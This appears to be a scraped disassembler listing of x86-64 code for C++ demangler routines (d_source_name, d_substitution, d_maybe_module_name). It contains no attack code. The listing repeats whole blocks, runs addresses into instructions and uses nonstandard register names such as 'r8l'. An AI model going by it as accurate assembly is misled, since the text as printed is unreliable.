14000dc2floc_14000dc2f:
14000dc2fadd rsp, 40
14000dc33ret
14000dc34
14000dc34 0f 1f 40 00 ..@.
14000dc38
14000dc38loc_14000dc38:
14000dc38add rdx, 1
14000dc3cmov [r10+24], rdx
14000dc40cmp r8l, 9
14000dc44jg 0x14000dbe6
14000dc46jmp 0x14000dc20
14000dc48
14000dc48 0f 1f 84 00 00 00 00 00 ........
14000dc50
14000dc50loc_14000dc50:
14000dc50xor eax, eax
14000dc52jmp 0x14000dc2b
14000dc54
14000dc54 0f 1f 40 00 ..@.
14000dc58
14000dc58loc_14000dc58:
14000dc58mov eax, [r10+72]
14000dc5cmov edx, [r10+40]
14000dc60add eax, 22
14000dc63sub eax, r8l
14000dc66mov [r10+72], eax
14000dc6acmp edx, [r10+44]
14000dc6ejge 0x14000dc50
14000dc70movsxd rax, edx
14000dc73add edx, 1
14000dc76mov [r10+40], edx
14000dc7ashl rax, 5
14000dc7elea rdx, [rip+0x185a24]
14000dc85add rax, [r10+32]
14000dc89mov [rax+4], 0
14000dc91mov [rax], 0
14000dc97mov [rax+16], rdx
14000dc9bmov [rax+24], 21
14000dca2jmp 0x14000dc2b
14000dba0
14000dba0d_source_name:
14000dba0sub rsp, 40
14000dba4mov r10, rcx
14000dba7call d_number
14000dbacmov r8l, eax
14000dbafxor eax, eax
14000dbb1test r8l, r8l
14000dbb4jle 0x14000dc2f
14000dbb6mov rax, [r10+24]
14000dbbamov rcx, [r10+8]
14000dbbemovsxd rdx, r8l
14000dbc1sub rcx, rax
14000dbc4cmp rcx, rdx
14000dbc7jl 0x14000dc50
14000dbcdadd rdx, rax
14000dbd0mov [r10+24], rdx
14000dbd4test [r10+16], 4
14000dbd9je 0x14000dbe0
14000dbdbcmp [rdx], 36
14000dbdeje 0x14000dc38
14000dbe0
14000dbe0loc_14000dbe0:
14000dbe0cmp r8l, 9
14000dbe4jle 0x14000dc20
14000dbe6
14000dbe6loc_14000dbe6:
14000dbe6mov rdx, 0x5f4c41424f4c475f
14000dbf0cmp [rax], rdx
14000dbf3jne 0x14000dc20
14000dbf5movzx edx, [rax+8]
14000dbf9sub edx, 36
14000dbfccmp dl, 59
14000dbffja 0x14000dc20
14000dc01mov rcx, 0x800000000000401
14000dc0bbt rcx, rdx
14000dc0fjae 0x14000dc20
14000dc11cmp [rax+9], 78
14000dc15je 0x14000dc58
14000dc17nop [rax+rax]
14000dc20
14000dc20loc_14000dc20:
14000dc20mov rdx, rax
14000dc23mov rcx, r10
14000dc26call d_make_name
14000dc2b
14000dc2bloc_14000dc2b:
14000dc2bmov [r10+64], rax
14000dc2f
14000dc2floc_14000dc2f:
14000dc2fadd rsp, 40
14000dc33ret
14000dc34
14000dc34 0f 1f 40 00 ..@.
14000dc38
14000dc38loc_14000dc38:
14000dc38add rdx, 1
14000dc3cmov [r10+24], rdx
14000dc40cmp r8l, 9
14000dc44jg 0x14000dbe6
14000dc46jmp 0x14000dc20
14000dc48
14000dc48 0f 1f 84 00 00 00 00 00 ........
14000dc50
14000dc50loc_14000dc50:
14000dc50xor eax, eax
14000dc52jmp 0x14000dc2b
14000dc54
14000dc54 0f 1f 40 00 ..@.
14000dc58
14000dc58loc_14000dc58:
14000dc58mov eax, [r10+72]
14000dc5cmov edx, [r10+40]
14000dc60add eax, 22
14000dc63sub eax, r8l
14000dc66mov [r10+72], eax
14000dc6acmp edx, [r10+44]
14000dc6ejge 0x14000dc50
14000dc70movsxd rax, edx
14000dc73add edx, 1
14000dc76mov [r10+40], edx
14000dc7ashl rax, 5
14000dc7elea rdx, [rip+0x185a24]
14000dc85add rax, [r10+32]
14000dc89mov [rax+4], 0
14000dc91mov [rax], 0
14000dc97mov [rax+16], rdx
14000dc9bmov [rax+24], 21
14000dca2jmp 0x14000dc2b
14000dba0
14000dca4
14000dca4 // align 0x10
14000dca4 // align 0x10
14000dcb0
14000dcb0d_substitution:
14000dcb0push rbx
14000dcb1sub rsp, 48
14000dcb5mov r8, [rcx+24]
14000dcb9cmp [r8], 83
14000dcbdjne 0x14000dd47
14000dcc3lea rax, [r8+1]
14000dcc7mov [rcx+24], rax
14000dccbmovzx eax, [r8+1]
14000dcd0test al, al
14000dcd2je 0x14000dd58
14000dcd8lea rax, [r8+2]
14000dcdcmov [rcx+24], rax
14000dce0movsx eax, [r8+1]
14000dce5lea r8l, [rax-48]
14000dce9cmp r8b, 47
14000dcedja 0x14000dd58
14000dcefmov r9, 0x87fffffe03ff
14000dcf9bt r9, r8
14000dcfdjae 0x14000dd58
14000dcffxor edx, edx
14000dd01cmp al, 95
14000dd03jne 0x14000dd26
14000dd05jmp 0x14000ddd0
14000dd0a
14000dd0a 66 0f 1f 44 00 00 f..D..
14000dd10
14000dd10loc_14000dd10:
14000dd10lea rdx, [rax+1]
14000dd14mov [rcx+24], rdx
14000dd18movsx eax, [rax]
14000dd1bcmp al, 95
14000dd1dje 0x14000df00
14000dd23mov edx, r8l
14000dd26
14000dd26loc_14000dd26:
14000dd26lea r8l, [rax-48]
14000dd2acmp r8b, 9
14000dd2eja 0x14000dda0
14000dd30lea r8l, [rdx+8*rdx]
14000dd34lea r8l, [rax+4*r8-48]
14000dd39
14000dd39loc_14000dd39:
14000dd39cmp r8l, edx
14000dd3cjb 0x14000dd47
14000dd3emov rax, [rcx+24]
14000dd42cmp [rax], 0
14000dd45jne 0x14000dd10
14000dd47
14000dd47loc_14000dd47:
14000dd47xor r8l, r8l
14000dd4a
14000dd4aloc_14000dd4a:
14000dd4amov rax, r8
14000dd4dadd rsp, 48
14000dd51pop rbx
14000dd52ret
14000dd53
14000dd53 0f 1f 44 00 00 ..D..
14000dd58
14000dd58loc_14000dd58:
14000dd58mov r8l, [rcx+16]
14000dd5cand r8l, 8
14000dd60jne 0x14000ddc0
14000dd62and edx, 1
14000dd65je 0x14000ddc0
14000dd67mov rdx, [rcx+24]
14000dd6bmovzx edx, [rdx]
14000dd6esub edx, 67
14000dd71cmp dl, 1
14000dd74setbe dl
14000dd77
14000dd77loc_14000dd77:
14000dd77movzx r8l, dl
14000dd7blea rdx, [rip+0x18637e]
14000dd82lea r9, [rdx+392]
14000dd89nop [rax]
14000dd90
14000dd90loc_14000dd90:
14000dd90cmp [rdx], al
14000dd92je 0x14000ddf0
14000dd94add rdx, 56
14000dd98cmp rdx, r9
14000dd9bjne 0x14000dd90
14000dd9djmp 0x14000dd47
14000dd9f
14000dd9f 90 .
14000dda0
14000dda0loc_14000dda0:
14000dda0lea r8l, [rax-65]
14000dda4cmp r8b, 25
14000dda8ja 0x14000dd47
14000ddaalea r8l, [rdx+8*rdx]
14000ddaelea r8l, [rax+4*r8-55]
14000ddb3jmp 0x14000dd39
14000ddb8
14000ddb8 0f 1f 84 00 00 00 00 00 ........
14000ddc0
14000ddc0loc_14000ddc0:
14000ddc0mov edx, r8l
14000ddc3shr edx, 3
14000ddc6and edx, 1
14000ddc9jmp 0x14000dd77
14000ddcb
14000ddcb 0f 1f 44 00 00 ..D..
14000ddd0
14000ddd0loc_14000ddd0:
14000ddd0xor r8l, r8l
14000ddd3
14000ddd3loc_14000ddd3:
14000ddd3cmp r8l, [rcx+56]
14000ddd7jae 0x14000dd47
14000ddddmov rax, [rcx+48]
14000dde1mov r8, [rax+8*r8]
14000dde5mov rax, r8
14000dde8add rsp, 48
14000ddecpop rbx
14000ddedret
14000ddee
14000ddee 66 90 f.
14000ddf0
14000ddf0loc_14000ddf0:
14000ddf0mov r11, [rdx+40]
14000ddf4mov eax, [rcx+40]
14000ddf7mov r10l, [rcx+44]
14000ddfbtest r11, r11
14000ddfeje 0x14000de38
14000de00cmp eax, r10l
14000de03jge 0x14000df1c
14000de09mov ebx, [rdx+48]
14000de0cmovsxd r9, eax
14000de0fadd eax, 1
14000de12shl r9, 5
14000de16add r9, [rcx+32]
14000de1amov [r9+4], 0
14000de22mov [rcx+40], eax
14000de25mov [r9], 24
14000de2cmov [r9+16], r11
14000de30mov [r9+24], ebx
14000de34
14000de34loc_14000de34:
14000de34mov [rcx+64], r9
14000de38
14000de38loc_14000de38:
14000de38test r8l, r8l
14000de3bjne 0x14000df10
14000de41mov r9, [rdx+8]
14000de45mov edx, [rdx+16]
14000de48
14000de48loc_14000de48:
14000de48add [rcx+72], edx
14000de4bcmp eax, r10l
14000de4ejge 0x14000df24
14000de54movsxd r8, eax
14000de57add eax, 1
14000de5ashl r8, 5
14000de5eadd r8, [rcx+32]
14000de62mov [r8+4], 0
14000de6amov [rcx+40], eax
14000de6dmov [r8], 24
14000de74mov [r8+16], r9
14000de78mov [r8+24], edx
14000de7c
14000de7cloc_14000de7c:
14000de7cmov rax, [rcx+24]
14000de80cmp [rax], 66
14000de83jne 0x14000dd4a
14000de89mov rbx, [rcx+64]
14000de8dnop [rax]
14000de90
14000de90loc_14000de90:
14000de90add rax, 1
14000de94mov [rsp+40], r8
14000de99mov [rcx+24], rax
14000de9dmov [rsp+64], rcx
14000dea2call d_source_name
14000dea7mov r8, [rsp+40]
14000deacmov rcx, [rsp+64]
14000deb1mov edx, 78
14000deb6mov r9, rax
14000deb9call d_make_comp
14000debemov rcx, [rsp+64]
14000dec3mov r8, rax
14000dec6mov rax, [rcx+24]
14000decacmp [rax], 66
14000decdje 0x14000de90
14000decfmov [rcx+64], rbx
14000ded3test r8, r8
14000ded6je 0x14000dd47
14000dedcmov eax, [rcx+56]
14000dedfcmp eax, [rcx+60]
14000dee2jge 0x14000dd47
14000dee8mov rdx, [rcx+48]
14000deecmovsxd r9, eax
14000deefadd eax, 1
14000def2mov [rdx+8*r9], r8
14000def6mov [rcx+56], eax
14000def9jmp 0x14000dd4a
14000defe
14000defe 66 90 f.
14000df00
14000df00loc_14000df00:
14000df00add r8l, 1
14000df04jmp 0x14000ddd3
14000df09
14000df09 0f 1f 80 00 00 00 00 .......
14000df10
14000df10loc_14000df10:
14000df10mov r9, [rdx+24]
14000df14mov edx, [rdx+32]
14000df17jmp 0x14000de48
14000df1c
14000df1cloc_14000df1c:
14000df1cxor r9l, r9l
14000df1fjmp 0x14000de34
14000df24
14000df24loc_14000df24:
14000df24xor r8l, r8l
14000df27jmp 0x14000de7c
14000dcb0
14000dcb0d_substitution:
14000dcb0push rbx
14000dcb1sub rsp, 48
14000dcb5mov r8, [rcx+24]
14000dcb9cmp [r8], 83
14000dcbdjne 0x14000dd47
14000dcc3lea rax, [r8+1]
14000dcc7mov [rcx+24], rax
14000dccbmovzx eax, [r8+1]
14000dcd0test al, al
14000dcd2je 0x14000dd58
14000dcd8lea rax, [r8+2]
14000dcdcmov [rcx+24], rax
14000dce0movsx eax, [r8+1]
14000dce5lea r8l, [rax-48]
14000dce9cmp r8b, 47
14000dcedja 0x14000dd58
14000dcefmov r9, 0x87fffffe03ff
14000dcf9bt r9, r8
14000dcfdjae 0x14000dd58
14000dcffxor edx, edx
14000dd01cmp al, 95
14000dd03jne 0x14000dd26
14000dd05jmp 0x14000ddd0
14000dd0a
14000dd0a 66 0f 1f 44 00 00 f..D..
14000dd10
14000dd10loc_14000dd10:
14000dd10lea rdx, [rax+1]
14000dd14mov [rcx+24], rdx
14000dd18movsx eax, [rax]
14000dd1bcmp al, 95
14000dd1dje 0x14000df00
14000dd23mov edx, r8l
14000dd26
14000dd26loc_14000dd26:
14000dd26lea r8l, [rax-48]
14000dd2acmp r8b, 9
14000dd2eja 0x14000dda0
14000dd30lea r8l, [rdx+8*rdx]
14000dd34lea r8l, [rax+4*r8-48]
14000dd39
14000dd39loc_14000dd39:
14000dd39cmp r8l, edx
14000dd3cjb 0x14000dd47
14000dd3emov rax, [rcx+24]
14000dd42cmp [rax], 0
14000dd45jne 0x14000dd10
14000dd47
14000dd47loc_14000dd47:
14000dd47xor r8l, r8l
14000dd4a
14000dd4aloc_14000dd4a:
14000dd4amov rax, r8
14000dd4dadd rsp, 48
14000dd51pop rbx
14000dd52ret
14000dd53
14000dd53 0f 1f 44 00 00 ..D..
14000dd58
14000dd58loc_14000dd58:
14000dd58mov r8l, [rcx+16]
14000dd5cand r8l, 8
14000dd60jne 0x14000ddc0
14000dd62and edx, 1
14000dd65je 0x14000ddc0
14000dd67mov rdx, [rcx+24]
14000dd6bmovzx edx, [rdx]
14000dd6esub edx, 67
14000dd71cmp dl, 1
14000dd74setbe dl
14000dd77
14000dd77loc_14000dd77:
14000dd77movzx r8l, dl
14000dd7blea rdx, [rip+0x18637e]
14000dd82lea r9, [rdx+392]
14000dd89nop [rax]
14000dd90
14000dd90loc_14000dd90:
14000dd90cmp [rdx], al
14000dd92je 0x14000ddf0
14000dd94add rdx, 56
14000dd98cmp rdx, r9
14000dd9bjne 0x14000dd90
14000dd9djmp 0x14000dd47
14000dd9f
14000dd9f 90 .
14000dda0
14000dda0loc_14000dda0:
14000dda0lea r8l, [rax-65]
14000dda4cmp r8b, 25
14000dda8ja 0x14000dd47
14000ddaalea r8l, [rdx+8*rdx]
14000ddaelea r8l, [rax+4*r8-55]
14000ddb3jmp 0x14000dd39
14000ddb8
14000ddb8 0f 1f 84 00 00 00 00 00 ........
14000ddc0
14000ddc0loc_14000ddc0:
14000ddc0mov edx, r8l
14000ddc3shr edx, 3
14000ddc6and edx, 1
14000ddc9jmp 0x14000dd77
14000ddcb
14000ddcb 0f 1f 44 00 00 ..D..
14000ddd0
14000ddd0loc_14000ddd0:
14000ddd0xor r8l, r8l
14000ddd3
14000ddd3loc_14000ddd3:
14000ddd3cmp r8l, [rcx+56]
14000ddd7jae 0x14000dd47
14000ddddmov rax, [rcx+48]
14000dde1mov r8, [rax+8*r8]
14000dde5mov rax, r8
14000dde8add rsp, 48
14000ddecpop rbx
14000ddedret
14000ddee
14000ddee 66 90 f.
14000ddf0
14000ddf0loc_14000ddf0:
14000ddf0mov r11, [rdx+40]
14000ddf4mov eax, [rcx+40]
14000ddf7mov r10l, [rcx+44]
14000ddfbtest r11, r11
14000ddfeje 0x14000de38
14000de00cmp eax, r10l
14000de03jge 0x14000df1c
14000de09mov ebx, [rdx+48]
14000de0cmovsxd r9, eax
14000de0fadd eax, 1
14000de12shl r9, 5
14000de16add r9, [rcx+32]
14000de1amov [r9+4], 0
14000de22mov [rcx+40], eax
14000de25mov [r9], 24
14000de2cmov [r9+16], r11
14000de30mov [r9+24], ebx
14000de34
14000de34loc_14000de34:
14000de34mov [rcx+64], r9
14000de38
14000de38loc_14000de38:
14000de38test r8l, r8l
14000de3bjne 0x14000df10
14000de41mov r9, [rdx+8]
14000de45mov edx, [rdx+16]
14000de48
14000de48loc_14000de48:
14000de48add [rcx+72], edx
14000de4bcmp eax, r10l
14000de4ejge 0x14000df24
14000de54movsxd r8, eax
14000de57add eax, 1
14000de5ashl r8, 5
14000de5eadd r8, [rcx+32]
14000de62mov [r8+4], 0
14000de6amov [rcx+40], eax
14000de6dmov [r8], 24
14000de74mov [r8+16], r9
14000de78mov [r8+24], edx
14000de7c
14000de7cloc_14000de7c:
14000de7cmov rax, [rcx+24]
14000de80cmp [rax], 66
14000de83jne 0x14000dd4a
14000de89mov rbx, [rcx+64]
14000de8dnop [rax]
14000de90
14000de90loc_14000de90:
14000de90add rax, 1
14000de94mov [rsp+40], r8
14000de99mov [rcx+24], rax
14000de9dmov [rsp+64], rcx
14000dea2call d_source_name
14000dea7mov r8, [rsp+40]
14000deacmov rcx, [rsp+64]
14000deb1mov edx, 78
14000deb6mov r9, rax
14000deb9call d_make_comp
14000debemov rcx, [rsp+64]
14000dec3mov r8, rax
14000dec6mov rax, [rcx+24]
14000decacmp [rax], 66
14000decdje 0x14000de90
14000decfmov [rcx+64], rbx
14000ded3test r8, r8
14000ded6je 0x14000dd47
14000dedcmov eax, [rcx+56]
14000dedfcmp eax, [rcx+60]
14000dee2jge 0x14000dd47
14000dee8mov rdx, [rcx+48]
14000deecmovsxd r9, eax
14000deefadd eax, 1
14000def2mov [rdx+8*r9], r8
14000def6mov [rcx+56], eax
14000def9jmp 0x14000dd4a
14000defe
14000defe 66 90 f.
14000df00
14000df00loc_14000df00:
14000df00add r8l, 1
14000df04jmp 0x14000ddd3
14000df09
14000df09 0f 1f 80 00 00 00 00 .......
14000df10
14000df10loc_14000df10:
14000df10mov r9, [rdx+24]
14000df14mov edx, [rdx+32]
14000df17jmp 0x14000de48
14000df1c
14000df1cloc_14000df1c:
14000df1cxor r9l, r9l
14000df1fjmp 0x14000de34
14000df24
14000df24loc_14000df24:
14000df24xor r8l, r8l
14000df27jmp 0x14000de7c
14000dcb0
14000df2c
14000df2c // align 0x10
14000df2c // align 0x10
14000df30
14000df30d_maybe_module_name:
14000df30push rdi
14000df31push rsi
14000df32push rbx
14000df33sub rsp, 32
14000df37mov rax, [rcx+24]
14000df3bmov rbx, rcx
14000df3emov rdi, rdx
14000df41cmp [rax], 87
14000df44je 0x14000df6a
14000df46jmp 0x14000dfc0
14000df48
14000df48 0f 1f 84 00 00 00 00 00 ........
14000df50
14000df50loc_14000df50:
14000df50mov rcx, [rbx+48]
14000df54movsxd r8, eax
14000df57add eax, 1
14000df5amov [rcx+8*r8], rdx
14000df5emov [rbx+56], eax
14000df61mov rax, [rbx+24]
14000df65cmp [rax], 87
14000df68jne 0x14000dfc0
14000df6a
14000df6aloc_14000df6a:
14000df6alea rdx, [rax+1]
14000df6emov esi, 85
14000df73mov [rbx+24], rdx
14000df77cmp [rax+1], 80
14000df7bjne 0x14000df8a
14000df7dadd rax, 2
14000df81mov esi, 86
14000df86mov [rbx+24], rax
14000df8a
14000df8aloc_14000df8a:
14000df8amov rcx, rbx
14000df8dcall d_source_name
14000df92mov r8, [rdi]
14000df95mov edx, esi
14000df97mov rcx, rbx
14000df9amov r9, rax
14000df9dcall d_make_comp
14000dfa2mov [rdi], rax
14000dfa5mov rdx, rax
14000dfa8test rax, rax
14000dfabje 0x14000dfb5
14000dfadmov eax, [rbx+56]
14000dfb0cmp eax, [rbx+60]
14000dfb3jl 0x14000df50
14000dfb5
14000dfb5loc_14000dfb5:
14000dfb5xor eax, eax
14000dfb7add rsp, 32
14000dfbbpop rbx
14000dfbcpop rsi
14000dfbdpop rdi
14000dfberet
14000dfbf
14000dfbf 90 .
14000dfc0
14000dfc0loc_14000dfc0:
14000dfc0mov eax, 1
14000dfc5add rsp, 32
14000dfc9pop rbx
14000dfcapop rsi
14000dfcbpop rdi
14000dfccret
14000df30
14000df30d_maybe_module_name:
14000df30push rdi
14000df31push rsi
14000df32push rbx
14000df33sub rsp, 32
14000df37mov rax, [rcx+24]
14000df3bmov rbx, rcx
14000df3emov rdi, rdx
14000df41cmp [rax], 87
14000df44je 0x14000df6a
14000df46jmp 0x14000dfc0
14000df48
14000df48 0f 1f 84 00 00 00 00 00 ........
14000df50
14000df50loc_14000df50:
14000df50mov rcx, [rbx+48]
14000df54movsxd r8, eax
14000df57add eax, 1
14000df5amov [rcx+8*r8], rdx
14000df5emov [rbx+56], eax
14000df61mov rax, [rbx+24]
14000df65cmp [rax], 87
14000df68jne 0x14000dfc0
14000df6a
14000df6aloc_14000df6a:
14000df6alea rdx, [rax+1]
14000df6emov esi, 85
14000df73mov [rbx+24], rdx
14000df77cmp [rax+1], 80
14000df7bjne 0x14000df8a
14000df7dadd rax, 2
14000df81mov esi, 86
14000df86mov [rbx+24], rax
14000df8a
14000df8aloc_14000df8a:
14000df8amov rcx, rbx
14000df8dcall d_source_name
14000df92mov r8, [rdi]
14000df95mov edx, esi
14000df97mov rcx, rbx
14000df9amov r9, rax
14000df9dcall d_make_comp
14000dfa2mov [rdi], rax
14000dfa5mov rdx, rax
14000dfa8test rax, rax
14000dfabje 0x14000dfb5
14000dfadmov eax, [rbx+56]
14000dfb0cmp eax, [rbx+60]
14000dfb3jl 0x14000df50
14000dfb5
14000dfb5loc_14000dfb5:
14000dfb5xor eax, eax
14000dfb7add rsp, 32
14000dfbbpop rbx
14000dfbcpop rsi
14000dfbdpop rdi
14000dfberet
14000dfbf
14000dfbf 90 .
14000dfc0
14000dfc0loc_14000dfc0:
14000dfc0mov eax, 1
14000dfc5add rsp, 32
14000dfc9pop rbx
14000dfcapop rsi
14000dfcbpop rdi
14000dfccret
14000df30
Loading..